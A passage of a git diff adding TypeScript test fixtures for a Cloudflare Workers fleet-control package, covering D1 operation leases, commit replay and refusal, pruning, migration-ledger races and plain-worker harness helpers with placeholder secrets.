+    if (hideResults) database.loseNextBatch();
+    try {
+      const conflicting = {
+        ...input,
+        rows: [
+          operationFinding(0),
+          { ...staged, payload: { ...staged.payload, detail: 'different' } },
+        ],
+      };
+      if (viaStage) await lease.stageRows(conflicting);
+      else await lease.commitProgress(conflicting);
+    } catch (error) {
+      refused = errorShape(error);
+    }
+    const afterRefusal = await operationSnapshot(db, id);
+    if (viaStage) await lease.stageRows(input);
+    if (hideResults) database.loseNextBatch();
+    const accepted = await lease.commitProgress(input);
+    const afterAcceptance = await operationSnapshot(db, id);
+    if (hideResults) database.loseNextBatch();
+    const replay = await lease.commitProgress(input);
+    return {
+      before,
+      afterRefusal,
+      refused,
+      accepted,
+      afterAcceptance,
+      replay,
+      afterReplay: await operationSnapshot(db, id),
+    };
+  });
+}
+
+async function operationCommitMissingUpdate(
+  db: D1Database,
+  hideResults: boolean,
+): Promise<unknown> {
+  await readyOperationStore(db);
+  const database = hideResultsDatabase(new D1FleetStateDatabase(db));
+  const target = operationStore(database);
+  const id = operationId(8);
+  return target.withAccountOperationLease('migration', async (lease) => {
+    const created = await operationStart(lease, 'migration', id);
+    await lease.stageRows({
+      operationId: id,
+      expectedRevision: 0,
+      rows: [operationItem('pending', 0)],
+    });
+    const before = await operationSnapshot(db, id);
+    const input = {
+      operationId: id,
+      expectedRevision: 0,
+      runRecord: operationAdvanced(created.record),
+      rows: [operationItem('pending', 2)],
+      updateRows: [operationItem('active', 0), operationItem('active', 1)],
+    };
+    let refused: unknown = null;
+    if (hideResults) database.loseNextBatch();
+    try {
+      await lease.commitProgress(input);
+    } catch (error) {
+      refused = errorShape(error);
+    }
+    const afterRefusal = await operationSnapshot(db, id);
+    await lease.stageRows({
+      operationId: id,
+      expectedRevision: 0,
+      rows: [operationItem('pending', 1)],
+    });
+    if (hideResults) database.loseNextBatch();
+    const accepted = await lease.commitProgress(input);
+    const afterAcceptance = await operationSnapshot(db, id);
+    if (hideResults) database.loseNextBatch();
+    const replay = await lease.commitProgress(input);
+    return {
+      before,
+      afterRefusal,
+      refused,
+      accepted,
+      afterAcceptance,
+      replay,
+      afterReplay: await operationSnapshot(db, id),
+    };
+  });
+}
+
+async function operationFinalizeConvergence(db: D1Database): Promise<unknown> {
+  await readyOperationStore(db);
+  const database = hideResultsDatabase(new D1FleetStateDatabase(db));
+  const target = operationStore(database);
+  const id = operationId(2);
+  return target.withAccountOperationLease('migration', async (lease) => {
+    const created = await operationStart(lease, 'migration', id);
+    const input = {
+      operationId: id,
+      expectedRevision: 0,
+      runRecord: operationAdvanced(created.record, 'finalized'),
+      expectedRowCounts: {},
+    };
+    database.loseNextBatch();
+    const first = await lease.finalizeOperation(input);
+    const replay = await lease.finalizeOperation(input);
+    const head = await db
+      .prepare(
+        `SELECT active_operation_id FROM anchorage_fleet_operation_heads
+          WHERE account_id = ? AND operation_kind = 'migration'`,
+      )
+      .bind(OPERATION_ACCOUNT)
+      .first<{ active_operation_id: string | null }>();
+    return {
+      identical: JSON.stringify(first) === JSON.stringify(replay),
+      revision: replay.progress.revision,
+      terminalAtMs: replay.terminalAtMs,
+      activeOperationId: head?.active_operation_id ?? null,
+    };
+  });
+}
+
+async function operationRowsReadback(db: D1Database): Promise<unknown> {
+  const target = await readyOperationStore(db);
+  const id = operationId(3);
+  await target.withAccountOperationLease('audit', async (lease) => {
+    await operationStart(lease, 'audit', id);
+    await lease.stageRows({
+      operationId: id,
+      expectedRevision: 0,
+      rows: [operationFinding(2), operationFinding(0), operationFinding(1)],
+    });
+  });
+  const first = await target.readOperationRowsPage({
+    operationId: id,
+    rowKind: 'finding',
+    limit: 2,
+  });
+  const second = await target.readOperationRowsPage({
+    operationId: id,
+    rowKind: 'finding',
+    afterOrdinal: 1,
+    limit: 2,
+  });
+  return {
+    first: first.rows.map((row) => row.ordinal),
+    firstDone: first.done,
+    second: second.rows.map((row) => row.ordinal),
+    secondDone: second.done,
+  };
+}
+
+async function operationCorruptUnreadable(db: D1Database): Promise<unknown> {
+  const target = await readyOperationStore(db);
+  const id = operationId(4);
+  await target.withAccountOperationLease('audit', async (lease) => {
+    await operationStart(lease, 'audit', id);
+    await lease.stageRows({
+      operationId: id,
+      expectedRevision: 0,
+      rows: [operationFinding(0)],
+    });
+  });
+  await db
+    .prepare(
+      `UPDATE anchorage_fleet_operation_rows SET payload = '{'
+        WHERE account_id = ? AND operation_id = ?`,
+    )
+    .bind(OPERATION_ACCOUNT, id)
+    .run();
+  return target
+    .readOperationRowsPage({ operationId: id, rowKind: 'finding', limit: 10 })
+    .then(
+      () => null,
+      (error: unknown) => errorShape(error),
+    );
+}
+
+async function seedOperationTerminal(
+  target: D1FleetOperationStore,
+  id: string,
+  state: 'finalized' | 'failed',
+): Promise<void> {
+  await target.withAccountOperationLease('migration', async (lease) => {
+    const created = await operationStart(lease, 'migration', id);
+    const terminal = operationAdvanced(created.record, state);
+    if (state === 'finalized') {
+      await lease.finalizeOperation({
+        operationId: id,
+        expectedRevision: 0,
+        runRecord: terminal,
+        expectedRowCounts: {},
+      });
+    } else {
+      await lease.failOperation({
+        operationId: id,
+        expectedRevision: 0,
+        runRecord: terminal,
+      });
+    }
+  });
+}
+
+async function operationPruneOrder(db: D1Database): Promise<unknown> {
+  const target = await readyOperationStore(db);
+  for (const [index, id] of [
+    operationId(10),
+    operationId(11),
+    operationId(12),
+  ].entries()) {
+    await seedOperationTerminal(
+      target,
+      id,
+      index === 2 ? 'finalized' : 'failed',
+    );
+    await db
+      .prepare(
+        `UPDATE anchorage_fleet_operations SET terminal_at_ms = ?
+          WHERE account_id = ? AND operation_id = ?`,
+      )
+      .bind(index + 1, OPERATION_ACCOUNT, id)
+      .run();
+  }
+  await target.withAccountOperationLease('migration', (lease) =>
+    operationStart(lease, 'migration', operationId(13)),
+  );
+  const pruned = await target.pruneFleetOperations({
+    kind: 'migration',
+    limit: 1,
+  });
+  const remaining = await db
+    .prepare(
+      `SELECT operation_id FROM anchorage_fleet_operations
+        WHERE account_id = ? ORDER BY operation_id`,
+    )
+    .bind(OPERATION_ACCOUNT)
+    .all<{ operation_id: string }>();
+  return {
+    pruned,
+    remaining: remaining.results.map((row) => row.operation_id),
+  };
+}
+
+async function operationLeaseLifecycle(db: D1Database): Promise<unknown> {
+  await readyOperationStore(db);
+  await db
+    .prepare(
+      `INSERT INTO ${OPERATION_LEASE_TABLE} (
+        account_id, operation_kind, owner_token, expires_at
+      ) VALUES (?, 'audit', 'abandoned-token', 1)`,
+    )
+    .bind(OPERATION_ACCOUNT)
+    .run();
+  const takeover = await operationStore(
+    new D1FleetStateDatabase(db),
+  ).withAccountOperationLease('audit', async (auditLease) => {
+    await auditLease.assertOwned();
+    return operationStore(
+      new D1FleetStateDatabase(db),
+    ).withAccountOperationLease('migration', async (migrationLease) => {
+      await migrationLease.assertOwned();
+      return 'independent';
+    });
+  });
+  const clock = controlledLeaseClock(db, OPERATION_LEASE_TABLE);
+  const target = new D1FleetOperationStore(clock.database, {
+    accountId: OPERATION_ACCOUNT,
+    leaseTtlMs: 2_500,
+    leaseRenewalIntervalMs: 1,
+  });
+  let contenderRejected = false;
+  await target.withAccountOperationLease('audit', async () => {
+    const original = await clock.database.query(
+      `SELECT expires_at FROM ${OPERATION_LEASE_TABLE}
+        WHERE account_id = ? AND operation_kind = 'audit'`,
+      [OPERATION_ACCOUNT],
+    );
+    const originalExpiresAt = Number(original[0]?.expires_at);
+    if (!Number.isFinite(originalExpiresAt)) {
+      throw new Error('operation lease did not expose its original expiry');
+    }
+    clock.advance(2_000);
+    clock.allowHeartbeat();
+    await clock.heartbeat;
+    clock.advance(600);
+    try {
+      await new D1FleetOperationStore(clock.database, {
+        accountId: OPERATION_ACCOUNT,
+        leaseTtlMs: 2_500,
+        leaseRenewalIntervalMs: 1,
+      }).withAccountOperationLease('audit', async () => {});
+    } catch {
+      contenderRejected = true;
+    }
+    if (clock.now() <= originalExpiresAt) {
+      throw new Error('controlled D1 time did not pass the original expiry');
+    }
+  });
+  const remaining = await db
+    .prepare(`SELECT COUNT(*) AS count FROM ${OPERATION_LEASE_TABLE}`)
+    .first<{ count: number }>();
+  return {
+    takeover,
+    heartbeatObserved: true,
+    contenderRejected,
+    leasesAfterRelease: Number(remaining?.count),
+  };
+}
+
+async function operationColdConcurrentSchema(db: D1Database): Promise<unknown> {
+  const stores = Array.from({ length: 16 }, () =>
+    operationStore(new D1FleetStateDatabase(db)),
+  );
+  const absent = await Promise.all(
+    stores.map((target) => target.readOperationById(operationId(20))),
+  );
+  const columns: Record<string, string[]> = {};
+  for (const table of OPERATION_TABLES) {
+    const rows = await db
+      .prepare(`PRAGMA table_info(${table})`)
+      .all<{ name: string; type: string }>();
+    columns[table] = rows.results.map((row) => `${row.name}:${row.type}`);
+  }
+  const tables = await db
+    .prepare(
+      `SELECT name FROM sqlite_master
+        WHERE type = 'table' AND name LIKE 'anchorage_fleet_operation%'
+        ORDER BY name`,
+    )
+    .all<{ name: string }>();
+  return {
+    absent: absent.filter((entry) => entry === undefined).length,
+    columns,
+    tables: tables.results.map((row) => row.name),
+  };
+}
+
+async function operationTwoAccountIsolation(db: D1Database): Promise<unknown> {
+  const first = operationStore(
+    new D1FleetStateDatabase(db),
+    'operation-account-one',
+  );
+  const second = operationStore(
+    new D1FleetStateDatabase(db),
+    'operation-account-two',
+  );
+  const id = operationId(30);
+  await Promise.all([
+    first.withAccountOperationLease('audit', (lease) =>
+      operationStart(lease, 'audit', id),
+    ),
+    second.withAccountOperationLease('audit', (lease) =>
+      operationStart(lease, 'audit', id),
+    ),
+  ]);
+  const rows = await db
+    .prepare(
+      `SELECT account_id, operation_id FROM anchorage_fleet_operations
+        WHERE operation_id = ? ORDER BY account_id`,
+    )
+    .bind(id)
+    .all<{ account_id: string; operation_id: string }>();
+  return rows.results;
+}
+
+async function cloudflareRateCoordination(db: D1Database): Promise<unknown> {
+  await db
+    .prepare('DROP TABLE IF EXISTS anchorage_cloudflare_api_rate_reservations')
+    .run();
+  const quotaScope = 'real-d1-shared-provider-principal';
+  const first = new D1CloudflareApiRateCoordinator(db, { quotaScope });
+  const second = new D1CloudflareApiRateCoordinator(db, { quotaScope });
+  await first.acquire();
+  await db
+    .prepare(
+      'DELETE FROM anchorage_cloudflare_api_rate_reservations WHERE quota_scope = ?',
+    )
+    .bind(quotaScope)
+    .run();
+  await db
+    .prepare(`WITH RECURSIVE sequence(value) AS (
+      SELECT 1 UNION ALL SELECT value + 1 FROM sequence WHERE value < 1099
+    )
+    INSERT INTO anchorage_cloudflare_api_rate_reservations (
+      quota_scope, reservation_id, reserved_at
+    )
+    SELECT ?, 'seed-' || value, CAST(unixepoch('subsec') * 1000 AS INTEGER)
+    FROM sequence`)
+    .bind(quotaScope)
+    .run();
+  await first.acquire();
+  const controller = new AbortController();
+  const blocked = second.acquire(controller.signal).then(
+    () => false,
+    (error) => error instanceof Error && error.name === 'AbortError',
+  );
+  await new Promise((resolve) => setTimeout(resolve, 0));
+  controller.abort();
+  const row = await db
+    .prepare(`SELECT COUNT(*) AS count
+      FROM anchorage_cloudflare_api_rate_reservations
+      WHERE quota_scope = ?`)
+    .bind(quotaScope)
+    .first<{ count: number }>();
+  return { blocked: await blocked, count: Number(row?.count) };
+}
+
+export default {
+  async fetch(request: Request, env: Env): Promise<WorkerResponse> {
+    const url = new URL(request.url);
     if (request.method !== 'POST' || url.pathname !== '/fleet-state') {
       return new Response('not found', { status: 404 });
     }
-    const body = (await request.json()) as { action?: unknown };
+    const body = (await request.json()) as {
+      action?: unknown;
+      input?: unknown;
+    };
     try {
       switch (body.action) {
         case 'concurrent-acquisition':
@@ -1062,10 +4964,161 @@ export default {
           return Response.json(await finalLeaseAssertionRollback(env.DB));
         case 'backend-switch-column-upgrade':
           return Response.json(await backendSwitchColumnUpgrade(env.DB));
+        case 'bounded-backend-switch-write-step':
+          return Response.json(
+            await backendSwitchLostWriteStep(
+              env.DB,
+              body.input as {
+                stage: BackendSwitchLostWriteStage;
+                loseWrite?: boolean;
+              },
+            ),
+          );
+        case 'decommission-intent-column-upgrade':
+          return Response.json(await decommissionIntentColumnUpgrade(env.DB));
+        case 'decommission-intent-lost-response':
+          return Response.json(await decommissionIntentLostResponse(env.DB));
+        case 'bounded-decommission-step':
+          return Response.json(
+            await boundedDecommissionStep(
+              env.DB,
+              body.input as BoundedDecommissionStepInput,
+            ),
+          );
+        case 'bounded-decommission-reset':
+          return Response.json(
+            await resetBoundedDecommission(
+              env.DB,
+              (body.input as { tenantTag: 'advance' | 'advancelost' })
+                .tenantTag,
+            ),
+          );
         case 'lifecycle-errors':
           return Response.json(await lifecycleErrors(env.DB));
         case 'cloudflare-rate-coordination':
           return Response.json(await cloudflareRateCoordination(env.DB));
+        case 'cleanup-terminal-receipt':
+          return Response.json(await cleanupTerminalReceipt(env.DB));
+        case 'cleanup-receipt-prune':
+          return Response.json(await cleanupReceiptPrune(env.DB));
+        case 'cleanup-claims-release':
+          return Response.json(await cleanupClaimsRelease(env.DB));
+        case 'cold-concurrent-schema-initialization':
+          return Response.json(
+            await coldConcurrentSchemaInitialization(env.DB),
+          );
+        case 'inventory-maximum-chunk':
+          return Response.json(await inventoryMaximumChunk(env.DB));
+        case 'inventory-start-atomicity':
+          return Response.json(await inventoryStartAtomicity(env.DB));
+        case 'inventory-cross-account-start':
+          return Response.json(
+            await inventoryCrossAccountStart(
+              env.DB,
+              (body.input as { concurrent: boolean }).concurrent,
+            ),
+          );
+        case 'inventory-partial-prune':
+          return Response.json(
+            await inventoryPartialPrune(
+              env.DB,
+              (body.input as { mode: 'rows' | 'both' | 'empty' }).mode,
+            ),
+          );
+        case 'inventory-dense-finalization':
+          return Response.json(await inventoryDenseFinalization(env.DB));
+        case 'inventory-pin-prune-race':
+          return Response.json(
+            await inventoryPinPruneRace(
+              env.DB,
+              (body.input as { winner: 'pin' | 'prune' }).winner,
+            ),
+          );
+        case 'inventory-prune-active-race':
+          return Response.json(await inventoryPruneActiveRace(env.DB));
+        case 'inventory-failure-recovery':
+          return Response.json(await inventoryFailureRecovery(env.DB));
+        case 'inventory-finalized-continuation-recovery':
+          return Response.json(
+            await inventoryFinalizedContinuationRecovery(
+              env.DB,
+              (body.input as { mode: 'normal' | 'stale' | 'fallback' }).mode,
+            ),
+          );
+        case 'inventory-commit-concurrency':
+          return Response.json(await inventoryCommitConcurrency(env.DB));
+        case 'inventory-commit-refusal':
+          return Response.json(
+            await inventoryCommitRefusal(
+              env.DB,
+              body.input as InventoryCommitRefusalInput,
+            ),
+          );
+        case 'inventory-commit-replay':
+          return Response.json(
+            await inventoryCommitReplay(
+              env.DB,
+              (
+                body.input as {
+                  change:
+                    | 'failed'
+                    | 'stage'
+                    | 'provider-requests'
+                    | 'updated-at';
+                }
+              ).change,
+              (body.input as { hideResults: boolean }).hideResults,
+            ),
+          );
+        case 'inventory-finalize-convergence':
+          return Response.json(await inventoryFinalizeConvergence(env.DB));
+        case 'inventory-generation-readback':
+          return Response.json(await inventoryGenerationReadback(env.DB));
+        case 'inventory-corrupt-unreadable':
+          return Response.json(await inventoryCorruptUnreadable(env.DB));
+        case 'inventory-prune-order':
+          return Response.json(await inventoryPruneOrder(env.DB));
+        case 'inventory-lease-lifecycle':
+          return Response.json(await inventoryLeaseLifecycle(env.DB));
+        case 'inventory-cold-concurrent-schema':
+          return Response.json(await inventoryColdConcurrentSchema(env.DB));
+        case 'operation-start-atomicity':
+          return Response.json(await operationStartAtomicity(env.DB));
+        case 'operation-commit-concurrency':
+          return Response.json(await operationCommitConcurrency(env.DB));
+        case 'operation-commit-watermark':
+          return Response.json(await operationCommitWatermark(env.DB));
+        case 'operation-commit-row-update':
+          return Response.json(await operationCommitRowUpdate(env.DB));
+        case 'operation-commit-immutable-conflict':
+          return Response.json(
+            await operationCommitImmutableConflict(
+              env.DB,
+              (body.input as { hideResults: boolean }).hideResults,
+              (body.input as { viaStage: boolean }).viaStage,
+            ),
+          );
+        case 'operation-commit-missing-update':
+          return Response.json(
+            await operationCommitMissingUpdate(
+              env.DB,
+              (body.input as { hideResults: boolean }).hideResults,
+            ),
+          );
+        case 'operation-finalize-convergence':
+          return Response.json(await operationFinalizeConvergence(env.DB));
+        case 'operation-rows-readback':
+          return Response.json(await operationRowsReadback(env.DB));
+        case 'operation-corrupt-unreadable':
+          return Response.json(await operationCorruptUnreadable(env.DB));
+        case 'operation-prune-order':
+          return Response.json(await operationPruneOrder(env.DB));
+        case 'operation-lease-lifecycle':
+          return Response.json(await operationLeaseLifecycle(env.DB));
+        case 'operation-cold-concurrent-schema':
+          return Response.json(await operationColdConcurrentSchema(env.DB));
+        case 'operation-two-account-isolation':
+          return Response.json(await operationTwoAccountIsolation(env.DB));
         default:
           return Response.json({ error: 'unknown action' }, { status: 400 });
       }
diff --git a/packages/fleet-control/test/fixtures/inventory-hostname-harness-probe.ts b/packages/fleet-control/test/fixtures/inventory-hostname-harness-probe.ts
new file mode 100644
index 00000000..7d79498c
--- /dev/null
+++ b/packages/fleet-control/test/fixtures/inventory-hostname-harness-probe.ts
@@ -0,0 +1,109 @@
+// SPDX-License-Identifier: Apache-2.0
+
+import {
+  assertApplicationR2ReservationIdentity,
+  reserveApplicationR2Resources,
+} from '../../src/application-bindings.js';
+import {
+  advanceCloudflareFleetInventoryStage,
+  type CloudflareFleetInventoryDeps,
+} from '../../src/cloudflare-fleet-inventory.js';
+import {
+  emptyFleetInventoryRowCounts,
+  FleetInventoryFindingValueError,
+} from '../../src/fleet-inventory-state.js';
+import { generateDeploymentSecrets } from '../../src/secrets.js';
+import type { DeploymentSpec } from '../../src/types.js';
+
+function unexpected(): never {
+  throw new Error('unexpected provider operation');
+}
+
+export default {
+  async fetch(request: Request): Promise<Response> {
+    if (new URL(request.url).pathname === '/reservation') {
+      const spec: DeploymentSpec = {
+        tenantTag: 'tenanta',
+        environment: 'prod',
+        scriptName: 'fleet-tenanta-prod',
+        databaseName: 'fleet-tenanta-prod',
+        compatibilityDate: '2026-08-06',
+        mainModule: 'worker.js',
+        modules: [
+          {
+            name: 'worker.js',
+            content: 'export default {}',
+            contentType: 'application/javascript+module',
+          },
+        ],
+        authoredBy: 'platform',
+        schemaVersion: 0,
+        migrations: [],
+        durableObjectMigrations: [],
+        durableObjectBindings: [],
+        maintenanceBaseUrl: 'https://fleet.example.test',
+        routeHostname: 'tenanta.example.test',
+        application: { vars: [], secrets: [], r2Buckets: [{ name: 'FILES' }] },
+      };
+      const first = reserveApplicationR2Resources(spec);
+      const second = reserveApplicationR2Resources(spec);
+      for (const resource of [...first, ...second])
+        assertApplicationR2ReservationIdentity(spec, resource);
+      return Response.json({
+        first,
+        second,
+        secrets: generateDeploymentSecrets(),
+      });
+    }
+    const hostname = new URL(request.url).searchParams.get('hostname');
+    if (hostname === null) return new Response(null, { status: 400 });
+    const deps: CloudflareFleetInventoryDeps = {
+      get attachmentScan() {
+        return unexpected();
+      },
+      dispatchNamespace: unexpected,
+      isDispatchCapabilityError: () => false,
+      listHostRoutingKeys: unexpected,
+      readHostRoutingValue: unexpected,
+      inspectDispatchWorker: unexpected,
+      getDispatchNamespace: unexpected,
+      listCustomDomains: async () => ({
+        domains: [{ hostname, service: 'anchorage-missing' }],
+      }),
+      listWorkerRouteZoneIds: async () => [],
+      listZoneRoutes: unexpected,
+      listOrdinaryScripts: async () => ({ scripts: [] }),
+      readOrdinaryScriptDetail: unexpected,
+      listDatabases: unexpected,
+      listDurableObjectNamespaces: unexpected,
+      listR2Buckets: unexpected,
+    };
+    const stage = { step: 'route-claims' } as const;
+    try {
+      const result = await advanceCloudflareFleetInventoryStage(deps, {
+        stage,
+        options: {
+          databaseNamePrefix: 'anchorage-db-',
+          scriptNamePrefix: 'anchorage-',
+          includeDispatchNamespace: false,
+          includeR2Buckets: false,
+        },
+        progress: {
+          stage,
+          generation: 1,
+          revision: 0,
+          stagedCounts: emptyFleetInventoryRowCounts(),
+          factCount: 0,
+          providerRequests: 0,
+        },
+        maxProviderRequests: 9,
+      });
+      return Response.json(result);
+    } catch (error) {
+      if (error instanceof FleetInventoryFindingValueError) {
+        return Response.json({ error: error.name }, { status: 400 });
+      }
+      throw error;
+    }
+  },
+};
diff --git a/packages/fleet-control/test/fixtures/migration-ledger-harness-probe.ts b/packages/fleet-control/test/fixtures/migration-ledger-harness-probe.ts
index 5c4ad85d..66a9c5dc 100644
--- a/packages/fleet-control/test/fixtures/migration-ledger-harness-probe.ts
+++ b/packages/fleet-control/test/fixtures/migration-ledger-harness-probe.ts
@@ -1,10 +1,15 @@
 // SPDX-License-Identifier: Apache-2.0
-/// <reference types="@cloudflare/workers-types" />
+import type {
+  D1Database,
+  ExportedHandler,
+  Request,
+  Response as WorkerResponse,
+} from '@cloudflare/workers-types';
 
-import {
-  applyMigrationsWithLedger,
-  type MigrationDatabase,
-} from '../../src/migration-ledger.js';
+import { D1FleetStateDatabase } from '../../src/d1-fleet-state-database.js';
+import { applyMigrationsWithLedger } from '../../src/migration-ledger.js';
+
+declare const Response: typeof WorkerResponse;
 
 interface Env {
   DB: D1Database;
@@ -12,26 +17,6 @@ interface Env {
 
 const LEDGER = 'anchorage_fleet_migrations';
 
-function database(db: D1Database): MigrationDatabase {
-  const statement = (sql: string, bindings: readonly unknown[]) => {
-    const prepared = db.prepare(sql);
-    return bindings.length > 0 ? prepared.bind(...bindings) : prepared;
-  };
-  return {
-    async query(sql, bindings = []) {
-      const result = await statement(sql, bindings).all<
-        Readonly<Record<string, unknown>>
-      >();
-      return result.results;
-    },
-    async batch(statements) {
-      await db.batch(
-        statements.map(({ sql, bindings = [] }) => statement(sql, bindings)),
-      );
-    },
-  };
-}
-
 function errorShape(error: unknown): { name: string; message: string } {
   return error instanceof Error
     ? { name: error.name, message: error.message }
@@ -72,7 +57,7 @@ async function atomicRollback(db: D1Database): Promise<unknown> {
     .run();
   let failure: unknown;
   try {
-    await applyMigrationsWithLedger(database(db), [
+    await applyMigrationsWithLedger(new D1FleetStateDatabase(db), [
       {
         version,
         sql: `INSERT INTO migration_atomic_values (value) VALUES ('must-rollback')`,
@@ -109,7 +94,7 @@ async function concurrentApplication(db: D1Database): Promise<unknown> {
   };
   const outcomes = await Promise.allSettled(
     Array.from({ length: 12 }, () =>
-      applyMigrationsWithLedger(database(db), [migration]),
+      applyMigrationsWithLedger(new D1FleetStateDatabase(db), [migration]),
     ),
   );
   const values = await db
@@ -132,6 +117,54 @@ async function concurrentApplication(db: D1Database): Promise<unknown> {
   };
 }
 
+async function coldApplication(db: D1Database): Promise<unknown> {
+  const version = 1;
+  await db
+    .prepare(
+      `CREATE TABLE IF NOT EXISTS migration_cold_values (value TEXT NOT NULL)`,
+    )
+    .run();
+  await db.prepare(`DELETE FROM migration_cold_values`).run();
+  // No ensureLedger: the ledger's own CREATE runs inside the race.
+  await db.prepare(`DROP TABLE IF EXISTS ${LEDGER}`).run();
+  const coldBefore = await db
+    .prepare(
+      `SELECT COUNT(*) AS count FROM sqlite_master
+       WHERE type = 'table' AND name = ?`,
+    )
+    .bind(LEDGER)
+    .first<{ count: number }>();
+  const migration = {
+    version,
+    sql: `INSERT INTO migration_cold_values (value) VALUES ('once')`,
+  };
+  const outcomes = await Promise.allSettled(
+    Array.from({ length: 2 }, () =>
+      applyMigrationsWithLedger(new D1FleetStateDatabase(db), [migration]),
+    ),
+  );
+  const values = await db
+    .prepare(`SELECT COUNT(*) AS count FROM migration_cold_values`)
+    .first<{ count: number }>();
+  const ledger = await db
+    .prepare(`SELECT COUNT(*) AS count FROM ${LEDGER} WHERE version = ?`)
+    .bind(version)
+    .first<{ count: number }>();
+  return {
+    coldBefore: coldBefore?.count,
+    settlements: outcomes.map((outcome) =>
+      outcome.status === 'fulfilled'
+        ? { status: outcome.status }
+        : {
+            status: outcome.status,
+            message: errorShape(outcome.reason).message,
+          },
+    ),
+    values: values?.count,
+    ledger: ledger?.count,
+  };
+}
+
 async function changedHistoricalSql(db: D1Database): Promise<unknown> {
   const version = 1;
   await ensureLedger(db);
@@ -142,7 +175,7 @@ async function changedHistoricalSql(db: D1Database): Promise<unknown> {
     .run();
   await db.prepare(`DELETE FROM migration_history_values`).run();
   await db.prepare(`DELETE FROM ${LEDGER}`).run();
-  await applyMigrationsWithLedger(database(db), [
+  await applyMigrationsWithLedger(new D1FleetStateDatabase(db), [
     {
       version,
       sql: `INSERT INTO migration_history_values (value) VALUES ('original')`,
@@ -150,7 +183,7 @@ async function changedHistoricalSql(db: D1Database): Promise<unknown> {
   ]);
   let failure: unknown;
   try {
-    await applyMigrationsWithLedger(database(db), [
+    await applyMigrationsWithLedger(new D1FleetStateDatabase(db), [
       {
         version,
         sql: `INSERT INTO migration_history_values (value) VALUES ('changed')`,
@@ -175,7 +208,7 @@ async function commitAcrossBoundary(db: D1Database): Promise<unknown> {
     .run();
   await db.prepare(`DELETE FROM migration_boundary_values`).run();
   await db.prepare(`DELETE FROM ${LEDGER}`).run();
-  await applyMigrationsWithLedger(database(db), [
+  await applyMigrationsWithLedger(new D1FleetStateDatabase(db), [
     {
       version,
       sql: `INSERT INTO migration_boundary_values (value) VALUES ('durable')`,
@@ -205,7 +238,7 @@ async function readAcrossBoundary(db: D1Database): Promise<unknown> {
 }
 
 export default {
-  async fetch(request: Request, env: Env): Promise<Response> {
+  async fetch(request: Request, env: Env): Promise<WorkerResponse> {
     const url = new URL(request.url);
     if (request.method !== 'POST' || url.pathname !== '/migration-ledger') {
       return new Response('not found', { status: 404 });
@@ -217,6 +250,8 @@ export default {
           return Response.json(await atomicRollback(env.DB));
         case 'concurrent-application':
           return Response.json(await concurrentApplication(env.DB));
+        case 'cold-application':
+          return Response.json(await coldApplication(env.DB));
         case 'changed-history':
           return Response.json(await changedHistoricalSql(env.DB));
         case 'commit-boundary':
diff --git a/packages/fleet-control/test/fixtures/plain-worker-harnesses.ts b/packages/fleet-control/test/fixtures/plain-worker-harnesses.ts
new file mode 100644
index 00000000..34b93b7f
--- /dev/null
+++ b/packages/fleet-control/test/fixtures/plain-worker-harnesses.ts
@@ -0,0 +1,600 @@
+// SPDX-License-Identifier: Apache-2.0
+
+import { createHash } from 'node:crypto';
+import { mkdtempSync } from 'node:fs';
+import { tmpdir } from 'node:os';
+import { join } from 'node:path';
+import { CloudflareApiPlainWorkerBackend } from '../../src/cloudflare-api-plain-worker-backend.js';
+import { CloudflareProvisioningClient } from '../../src/cloudflare-client.js';
+import {
+  captureDatabaseExportIntegrityPromise,
+  type DurableDatabaseExportStore,
+  databaseExportReceiptError,
+  databaseExportReceiptIdentityFromUnknown,
+} from '../../src/database-export-store.js';
+import { plainWorkerIngressModule } from '../../src/plain-worker-backend.js';
+import { uploadIntentToProviderBindings } from '../../src/provider-binding-inventory.js';
+import { deploymentSpecDigest } from '../../src/spec-digest.js';
+import {
+  type CleanupTerminalReceipt,
+  type DatabaseExportReceiptIdentity,
+  type DeploymentSecrets,
+  type DeploymentSpec,
+  effectiveLifecyclePhase,
+  type FleetRecord,
+  type FleetResourceInventory,
+  type FleetStateLease,
+  type FleetStateStore,
+  type PlainWorkerUploadIntent,
+  type ProvisioningBackend,
+} from '../../src/types.js';
+import { WranglerLoopBackend } from '../../src/wrangler-loop-backend.js';
+import {
+  type CloudflareFetchRecord,
+  recordingFetch,
+  restProjection,
+  testRateCoordinator,
+} from './cloudflare-fetch-fixture.js';
+import { type ProviderWorld, providerWorld } from './provider-world.js';
+import { cliProjection } from './wrangler-world-projection.js';
+
+export const sharedSecrets: DeploymentSecrets = {
+  deploymentIdentity: 'deployment-identity-secret-value-0001',
+  maintenanceAdmin: 'maintenance-admin-secret-value-00001',
+  application: {},
+};
+
+export const routeAttestation = {
+  convergenceBudgetMs: 1_000,
+  initialRetryDelayMs: 1,
+};
+
+export function initialSpec(): DeploymentSpec {
+  return buildPlainWorkerSpec({
+    schemaVersion: 1,
+    migrations: [
+      { version: 1, sql: 'CREATE TABLE example (id TEXT PRIMARY KEY)' },
+    ],
+  });
+}
+
+export function migrationSpec(
+  overrides: Partial<DeploymentSpec> = {},
+): DeploymentSpec {
+  return buildPlainWorkerSpec({ previousDurableObjectTag: 'v1', ...overrides });
+}
+
+export async function captureFailure(
+  promise: Promise<unknown>,
+): Promise<unknown> {
+  try {
+    await promise;
+  } catch (error) {
+    return error;
+  }
+  throw new Error('expected operation to fail');
+}
+
+export async function ignoreFailure(promise: Promise<unknown>): Promise<void> {
+  await captureFailure(promise);
+}
+
+export function errorChain(error: unknown): string {
+  return causeChain(error)
+    .flatMap((cause) => (cause instanceof Error ? [cause.message] : []))
+    .join(' | ');
+}
+
+export function causeChain(error: unknown): readonly unknown[] {
+  const causes: unknown[] = [];
+  let current = error;
+  while (current instanceof Error) {
+    causes.push(current);
+    current = current.cause;
+  }
+  if (current !== undefined) causes.push(current);
+  return causes;
+}
+
+export function buildPlainWorkerSpec(
+  overrides: Partial<DeploymentSpec> = {},
+): DeploymentSpec {
+  return {
+    tenantTag: 'acme',
+    environment: 'production',
+    scriptName: 'acme-production',
+    databaseName: 'acme-production',
+    compatibilityDate: '2026-08-27',
+    compatibilityFlags: ['nodejs_compat'],
+    mainModule: 'worker.js',
+    modules: [{ name: 'worker.js', content: 'export default {}' }],
+    authoredBy: 'platform',
+    schemaVersion: 2,
+    migrations: [
+      { version: 1, sql: 'CREATE TABLE example (id TEXT PRIMARY KEY)' },
+      {
+        version: 2,
+        sql: 'ALTER TABLE example ADD COLUMN value TEXT',
+        rollbackCompatible: true,
+      },
+    ],
+    durableObjectMigrations: [{ tag: 'v1', newSqliteClasses: ['Maintenance'] }],
+    durableObjectBindings: [{ name: 'MAINTENANCE', className: 'Maintenance' }],
